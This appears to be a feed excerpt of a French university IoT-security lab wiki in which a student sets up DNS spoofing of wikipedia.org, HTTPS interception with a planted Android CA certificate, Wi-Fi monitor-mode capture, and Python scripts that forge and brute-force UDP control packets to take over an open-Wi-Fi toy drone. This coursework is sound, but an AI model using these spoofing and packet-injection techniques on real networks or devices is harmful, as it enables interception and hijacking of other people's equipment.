J'ai supposé un calcul par soustraction  par rapport à la valeur neutre.&amp;lt;syntaxhighlight lang=&amp;quot;py&amp;quot;&amp;gt;&lt;br /&gt;
# SOCK_DGRAM = Protocole UDP&lt;br /&gt;
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)&lt;br /&gt;
&lt;br /&gt;
# STOP&lt;br /&gt;
# Tout est à 80 Checksum à 00&lt;br /&gt;
# Code : 03 66 80 80 80 80 00 00 99&lt;br /&gt;
cmd_stop = bytes.fromhex(&amp;quot;036680808080000099&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# decoller&lt;br /&gt;
# 03 66 : Header&lt;br /&gt;
# 80    : Joystick Gauche&lt;br /&gt;
# C0    : Joystick Gauche&lt;br /&gt;
# 80    : Joystick Droit (Avancer)&lt;br /&gt;
# 80    : Joystick Droit&lt;br /&gt;
# 00    : Boutons&lt;br /&gt;
# 40    : Checksum (C0 - 80 = 40)&lt;br /&gt;
# 99    : Fin&lt;br /&gt;
cmd_decollage = bytes.fromhex(&amp;quot;036680c08080004099&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# atterissage&lt;br /&gt;
cmd_baisse = bytes.fromhex(&amp;quot;036680008080008099&amp;quot;) # Coupe tout brutalement&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
    print(&amp;quot;\ndemarage&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    print(&amp;quot;decollage&amp;quot;)&lt;br /&gt;
    t_end = time.time() + 3&lt;br /&gt;
    while time.time() &amp;lt; t_end:&lt;br /&gt;
        client.sendto(cmd_decollage, (IP_DRONE, PORT))&lt;br /&gt;
        time.sleep(0.05) # 20fois/s&lt;br /&gt;
&lt;br /&gt;
    # arret&lt;br /&gt;
    print(&amp;quot;stop&amp;quot;)&lt;br /&gt;
    for i in range(20):&lt;br /&gt;
        client.sendto(cmd_stop, (IP_DRONE, PORT))&lt;br /&gt;
        time.sleep(0.05)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Cette tentative n'a pas permis de faire décoller le drone. Cela nous a indiqué deux choses : &lt;br /&gt;
&lt;br /&gt;
* le drône réagit bien aux envois de données&lt;br /&gt;
&lt;br /&gt;
* le calcul du Checksum était incorrect (le drone rejetait les paquets) &lt;br /&gt;
* le décollage nécessite peut-être un bouton pour pouvoir decoller&lt;br /&gt;
&lt;br /&gt;
==== Deuxième tentative ====&lt;br /&gt;
J'ai refait les captures de paquets sur wireshark  en utilisant mon télephone :&lt;br /&gt;
[[Fichier:Wireshark3.png|néant|vignette|866x866px]]&lt;br /&gt;
En analysant une trame valide capturée via Wireshark quand le drône est en mouvement j'ai recalculé  : &lt;br /&gt;
&lt;br /&gt;
* Trame analysée : &amp;lt;code&amp;gt;03 66 80 82 7C 80 00 FE 99&amp;lt;/code&amp;gt;&lt;br /&gt;
* Calcul : &amp;lt;code&amp;gt;80 ^ 82 ^ 7C ^ 80 ^ 00 = FE&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc utilisation de XOR pour valider&lt;br /&gt;
&lt;br /&gt;
===== Recherche du code de démarrage =====&lt;br /&gt;
Comme je n'ai pas d'informaton sur le code héxa qui correspond au bouton de decollage. il faut un script Python d'attaque en force brute pour tester tous les boutons :&amp;lt;syntaxhighlight lang=&amp;quot;py&amp;quot;&amp;gt;&lt;br /&gt;
def envoyer_paquet(bouton_valeur):&lt;br /&gt;
    # Trame : Header + 4 axes neutres + bouton + checksum + footer&lt;br /&gt;
    # Axes neutres = 0x80 (128)&lt;br /&gt;
    header = [0x03, 0x66]&lt;br /&gt;
    data = [0x80, 0x80, 0x80, 0x80, bouton_valeur]&lt;br /&gt;
&lt;br /&gt;
    # Calcul Checksum XOR&lt;br /&gt;
    checksum = 0&lt;br /&gt;
    for b in data:&lt;br /&gt;
        checksum = checksum ^ b&lt;br /&gt;
&lt;br /&gt;
    packet = bytes(header + data + [checksum] + [0x99])&lt;br /&gt;
    client.sendto(packet, (IP_DRONE, PORT))&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
    print(&amp;quot;\n Initialisation (Neutre)...&amp;quot;)&lt;br /&gt;
    for _ in range(20):&lt;br /&gt;
        envoyer_paquet(0x00)&lt;br /&gt;
        time.sleep(0.05)&lt;br /&gt;
&lt;br /&gt;
    print(&amp;quot;\nTest des boutons de démarrage...&amp;quot;)&lt;br /&gt;
    #boutons les plus probables : 1, 2, 4, 8...&lt;br /&gt;
    bouton = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80]&lt;br /&gt;
&lt;br /&gt;
    for code in bouton:&lt;br /&gt;
        print(f&amp;quot;Test bouton code: {hex(code)} ...&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        t_fin = time.time() + 2 #2s&lt;br /&gt;
        while time.time() &amp;lt; t_fin:&lt;br /&gt;
            envoyer_paquet(code)&lt;br /&gt;
            time.sleep(0.05)&lt;br /&gt;
&lt;br /&gt;
        # pause&lt;br /&gt;
        for _ in range(10):&lt;br /&gt;
            envoyer_paquet(0x00)&lt;br /&gt;
            time.sleep(0.05)&lt;br /&gt;
&lt;br /&gt;
    print(&amp;quot;\nTest terminé.&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Lors de l'exécution du script le drone réagi immédiatement lorsque le script a testé la valeur '''0x01'''  Donc, c'est surement le bouton de decollage&lt;br /&gt;
&lt;br /&gt;
===== Script de control et observation sur Wireshark =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;py&amp;quot;&amp;gt;&lt;br /&gt;
import socket&lt;br /&gt;
import time&lt;br /&gt;
&lt;br /&gt;
IP_DRONE = &amp;quot;192.168.1.1&amp;quot;&lt;br /&gt;
PORT = 7099&lt;br /&gt;
MON_IP = &amp;quot;192.168.1.101&amp;quot;&lt;br /&gt;
&lt;br /&gt;
code_decollage = 0x01&lt;br /&gt;
&lt;br /&gt;
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)&lt;br /&gt;
client.bind((MON_IP, 0))&lt;br /&gt;
&lt;br /&gt;
def commande(bouton):&lt;br /&gt;
    header = [0x03, 0x66]&lt;br /&gt;
    data = [0x80, 0x80, 0x80, 0x80, bouton]&lt;br /&gt;
    checksum = 0&lt;br /&gt;
    for b in data:&lt;br /&gt;
        checksum = checksum ^ b&lt;br /&gt;
    return bytes(header + data + [checksum] + [0x99])&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
    print(f&amp;quot;Lancement {hex(code_decollage)}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    print(&amp;quot;Connexion (Neutre)...&amp;quot;)&lt;br /&gt;
    for _ in range(20):&lt;br /&gt;
        client.sendto(commande(0x00), (IP_DRONE, PORT))&lt;br /&gt;
        time.sleep(0.05)&lt;br /&gt;
&lt;br /&gt;
    print(&amp;quot;Decollage&amp;quot;)&lt;br /&gt;
    t_fin = time.time() + 2&lt;br /&gt;
    while time.time() &amp;lt; t_fin:&lt;br /&gt;
        client.sendto(commande(code_decollage), (IP_DRONE, PORT))&lt;br /&gt;
        time.sleep(0.05)&lt;br /&gt;
&lt;br /&gt;
    print(&amp;quot;Stop&amp;quot;)&lt;br /&gt;
    for _ in range(30):&lt;br /&gt;
        client.sendto(commande(code_decollage), (IP_DRONE, PORT))&lt;br /&gt;
        time.sleep(0.05)&lt;br /&gt;
&lt;br /&gt;
except KeyboardInterrupt:&lt;br /&gt;
    print(&amp;quot;Arrêt urgence&amp;quot;)&lt;br /&gt;
finally:&lt;br /&gt;
    client.close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Lors du lancement du script (2 secondes de décollage) sur wireshark :&lt;br /&gt;
[[Fichier:14.png|néant|vignette|651x651px]]&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:14.png&amp;diff=11180</id>
		<title>Fichier:14.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:14.png&amp;diff=11180"/>
		<updated>2026-01-13T17:18:14Z</updated>

		<summary type="html">&lt;p&gt;Handrian : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;wireshark&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=11179</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b3</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=11179"/>
		<updated>2026-01-13T17:16:35Z</updated>

		<summary type="html">&lt;p&gt;Handrian : /* Deuxième tentative */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Création de la machine virtuelle ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE5-handrian --dhcp --bridge=bridgeStudents --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=1024M&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration VM ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
&lt;br /&gt;
auto lo&lt;br /&gt;
&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.26.145.111&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
       gateway 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
       dns-nameservers 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#VLAN411&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.16.11.0&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capbreton ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#  Networking&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
dhcp        = 'dhcp'&lt;br /&gt;
&lt;br /&gt;
vif         = [ 'mac=00:16:3E:1A:68:1E,bridge=bridgeStudents' ,&lt;br /&gt;
&lt;br /&gt;
       'mac=00:16:3E:1A:68:1F,bridge=g3_handrian']&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
Configuration&lt;br /&gt;
&lt;br /&gt;
auto Trunk.411&lt;br /&gt;
&lt;br /&gt;
iface Trunk.411 inet manual&lt;br /&gt;
&lt;br /&gt;
       vlan-raw-device Trunk&lt;br /&gt;
&lt;br /&gt;
       up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
       down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g3_handrian&lt;br /&gt;
&lt;br /&gt;
iface g3_handrian inet manual&lt;br /&gt;
&lt;br /&gt;
   bridge_ports Trunk.411&lt;br /&gt;
&lt;br /&gt;
   up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
   down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Sécurisation WiFi par WPA2-PSK ==&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
dot11 ssid SE5-handrian&lt;br /&gt;
  vlan 411&lt;br /&gt;
  authentication open&lt;br /&gt;
  authentication key-management wpa&lt;br /&gt;
  wpa-psk ascii 0 &amp;quot; &amp;quot;&lt;br /&gt;
  mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
interface Dot11Radio1&lt;br /&gt;
  encryption vlan 411 mode ciphers aes-ccm&lt;br /&gt;
  ssid SE5-handrian&lt;br /&gt;
  mbssid&lt;br /&gt;
  no shutdown&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio1.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier :  ap# sh dot11 bssid&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ap#sh dot11 bssid                                                               &lt;br /&gt;
Interface      BSSID         Guest  SSID                                        &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf0  Yes  SE5-azongo                                   &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf1  Yes  SE5-crhanim                                  &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf2  Yes  SE5-handrian&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Installer isc-dhcp-server&lt;br /&gt;
&lt;br /&gt;
dans la VM  :  /etc/dhcp/dhcpd.conf&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
subnet 172.16.11.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.11.100 172.16.11.200;&lt;br /&gt;
  option routers 172.16.11.1;&lt;br /&gt;
  #option routers rtr-239-0-1.example.org, rtr-239-0-2.example.org;&lt;br /&gt;
  option domain-name-servers 172.16.11.1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;dans /etc/default/isc-dhcp-server : INTERFACESv4=&amp;quot;eth1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
dans /etc/sysctl.conf :  décommenter : net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
sysctl -p /etc/sysctl.conf : pour recharger '''configuration sysctl.'''&lt;br /&gt;
&lt;br /&gt;
sysctl net.ipv4.ip_forward : pour vérifier&lt;br /&gt;
&lt;br /&gt;
== Interception de flux ==&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Modification du fichier  '''/etc/bind/named.conf.local'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wikipedia.org&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.wikipedia.org&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création de la zone '''db.wikipedia.org'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    604800&lt;br /&gt;
@       IN      SOA     ns.wikipedia.org. admin.wikipedia.org. (&lt;br /&gt;
                             10         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
;&lt;br /&gt;
@       IN      NS      ns.wikipedia.org.&lt;br /&gt;
ns      IN      A       172.16.11.1&lt;br /&gt;
@       IN      A       172.16.11.1&lt;br /&gt;
www     IN      A       172.16.11.1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-ports 8080&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''iptables -t nat -L -n -v'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    5  1468 MASQUERADE  0    --  *      *       172.16.11.0/24       0.0.0.0/0   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur Apache sécurisé ==&lt;br /&gt;
&lt;br /&gt;
=== Génération du certificat auto-signé Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
openssl req -x509 -nodes -days 365 \&lt;br /&gt;
  -newkey rsa:2048 \&lt;br /&gt;
  -keyout /etc/ssl/apache/apache-selfsigned.key \&lt;br /&gt;
  -out /etc/ssl/apache/apache-selfsigned.crt \&lt;br /&gt;
  -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Polytech/CN=wikipedia.org&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache-selfsigned.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache-selfsigned.key&lt;br /&gt;
&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/site-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/site-access.log combined&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
    Redirect permanent / https://wikipedia.org/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Pour activer ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
a2ensite site-se5.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour véridier l'écoute du port 443&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# ss -tulpn | grep 443&lt;br /&gt;
tcp   LISTEN 0      128                *:443             *:*    users:((&amp;quot;apache2&amp;quot;,pid=5394,fd=6),(&amp;quot;apache2&amp;quot;,pid=5393,fd=6),(&amp;quot;apache2&amp;quot;,pid=5390,fd=6))&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Machine virtuelle android ==&lt;br /&gt;
&lt;br /&gt;
=== Installation de la machine virtuelle Android ===&lt;br /&gt;
&lt;br /&gt;
==== 1ère tentative avec QEMU : Création disque ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-img create -f qcow2 android.qcow2 16G&lt;br /&gt;
Formatting 'android.qcow2', fmt=qcow2 cluster_size=65536 extended_l2=off compression_type=zlib size=17179869184 lazy_refcounts=off refcount_bits=16&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Installation de l'android =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64 \&lt;br /&gt;
  -m 4096 \&lt;br /&gt;
  -smp 4 \&lt;br /&gt;
  -enable-kvm \&lt;br /&gt;
  -drive file=android.qcow2,format=qcow2 \&lt;br /&gt;
  -cdrom ~/Downloads/android-x86-9.0-r2.iso \&lt;br /&gt;
  -boot d \&lt;br /&gt;
  -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour lancer l'android : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64   -m 4096   -smp 4   -enable-kvm   -drive file=android.qcow2,format=qcow2 -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 2ème tentative avec Android Studio ====&lt;br /&gt;
&lt;br /&gt;
===== Installation d’Android Studio =====&lt;br /&gt;
J'ai installé Android Studio à partir du site officiel de Google.&lt;br /&gt;
&lt;br /&gt;
Après l’installation, les composants suivants ont été installés via le SDK Manager :&lt;br /&gt;
&lt;br /&gt;
* Android SDK Platform&lt;br /&gt;
* Android SDK Platform-Tools&lt;br /&gt;
* Android Emulator&lt;br /&gt;
&lt;br /&gt;
L’installation du SDK s’est déroulée sans erreur particulière&lt;br /&gt;
&lt;br /&gt;
Puis la création de l'AVD :&lt;br /&gt;
&lt;br /&gt;
* Modèle : Pixel 6 Pro&lt;br /&gt;
* Version : API 31 Android 12&lt;br /&gt;
* Architecture : x86_64 &lt;br /&gt;
&lt;br /&gt;
== Mise en place du certificat ==&lt;br /&gt;
Première tentative avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
adb root&lt;br /&gt;
adb shell avbctl disable-verification&lt;br /&gt;
adb reboot&lt;br /&gt;
adb wait-for-device root&lt;br /&gt;
adb remount&lt;br /&gt;
adb push 500e3c27.0 /system/etc/security/cacerts&lt;br /&gt;
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0&lt;br /&gt;
adb reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Problèmes rencontrés ===&lt;br /&gt;
&lt;br /&gt;
==== Accès root et système en lecture seule ====&lt;br /&gt;
Même lorsque l’accès ADB était fonctionnel, l’accès root était souvent limité. Les partitions système étaient en lecture seule et les tentatives de remount ('''adb remount''') ou de modification du système échouaient.&lt;br /&gt;
&lt;br /&gt;
=== Résolutions ===&lt;br /&gt;
Démarrage de l'émulateur en Cold Boot avec la commande : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
emulator -avd Pixel_6_Pro -writable-system -no-snapshot-load&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis,&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
adb root&lt;br /&gt;
adb disable-verity&lt;br /&gt;
adb reboot&lt;br /&gt;
adb root&lt;br /&gt;
adb remount&lt;br /&gt;
adb push 500e3c27.0 /system/etc/security/cacerts/&lt;br /&gt;
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0&lt;br /&gt;
adb reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;L'installation du certificat a été réalisée avec succès. Mais j'ai finalement laissé l'approche par machine virtuelle car le drone agit comme un point d'accès Wi-Fi donc  privilégié l'analyse du trafic réel. J'ai utilisé mon téléphone pour envoyer les commandes de pilotage et l'ordinateur  avec le Wipi et Wireshark pour intercepter et capturer les échanges de paquets entre le téléphone et le drone afin de repérer les octets de directions&lt;br /&gt;
&lt;br /&gt;
== Drone ==&lt;br /&gt;
Utilisation de la carte Wipi&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
airmon-ng start wlx40a5efd21166&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
airodump-ng -c 1 wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;40:07:76:C0:20:23  -39        4        0    0   1   65   OPN              WIFI_UFO_2320c0 &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iwconfig wlan0mon channel 1&lt;br /&gt;
wireshark&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici, j'ai mis un filtre pour intercepter les paquets du drône :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
wlan.addr == 40:07:76:C0:20:23 &amp;amp;&amp;amp; wlan.fc.type == 2 &amp;amp;&amp;amp; udp.port == 7099&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* ne garde que les '''donnée''' (Data)&lt;br /&gt;
* ne garde que ce qui passe par '''commandes'''&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wireshark.png|vignette|869x869px|néant]]Avec le filtre &amp;lt;code&amp;gt;wlan.addr == 40:07:76:C0:20:23 &amp;amp;&amp;amp; wlan.fc.type == 2 &amp;amp;&amp;amp; udp.port == 7099&amp;lt;/code&amp;gt; Il y a le flux unidirectionnel émis par le smartphone (&amp;lt;code&amp;gt;192.168.1.100&amp;lt;/code&amp;gt;) vers le drone (&amp;lt;code&amp;gt;192.168.1.1&amp;lt;/code&amp;gt;). Les paquets capturés d'une longueur de 9 octets correspondent aux instructions de vol envoyées.&lt;br /&gt;
&lt;br /&gt;
Sur la trame sélectionnée (&amp;lt;code&amp;gt;03 66 80 80 ba 80 00 3a 99&amp;lt;/code&amp;gt;)  on peut identifier l'en-tête fixe (&amp;lt;code&amp;gt;03 66&amp;lt;/code&amp;gt;), les axes au neutre (&amp;lt;code&amp;gt;0x80&amp;lt;/code&amp;gt;), et la modification du '''4 ème octet''' (&amp;lt;code&amp;gt;0xC0&amp;lt;/code&amp;gt;) qui correspond l'instruction '''&amp;lt;nowiki/&amp;gt;'décoller''''&lt;br /&gt;
&lt;br /&gt;
=== Connexion Zabeth-Drone ===&lt;br /&gt;
Configuration wifi :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iface wlan1 inet static&lt;br /&gt;
  wireless-essid WIFI_UFO_2320c0&lt;br /&gt;
  address 192.168.1.101/24&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Vérification : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iwconfig&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
wlan1     IEEE 802.11  ESSID:&amp;quot;WIFI_UFO_2320c0&amp;quot;  &lt;br /&gt;
          Mode:Managed  Frequency:2.412 GHz  Access Point: 40:07:76:C0:20:23   &lt;br /&gt;
          Bit Rate=26 Mb/s   Tx-Power=22 dBm   &lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Encryption key:off&lt;br /&gt;
          Power Management:on&lt;br /&gt;
          Link Quality=63/70  Signal level=-47 dBm  &lt;br /&gt;
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0&lt;br /&gt;
          Tx excessive retries:0  Invalid misc:28   Missed beacon:0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;code&amp;gt;ping 192.168.1.1&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=1 ttl=255 time=8.50 ms&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=2 ttl=255 time=9.05 ms&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=3 ttl=255 time=3.33 ms&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Tentatives de control du drône ===&lt;br /&gt;
&lt;br /&gt;
==== Première tentative ====&lt;br /&gt;
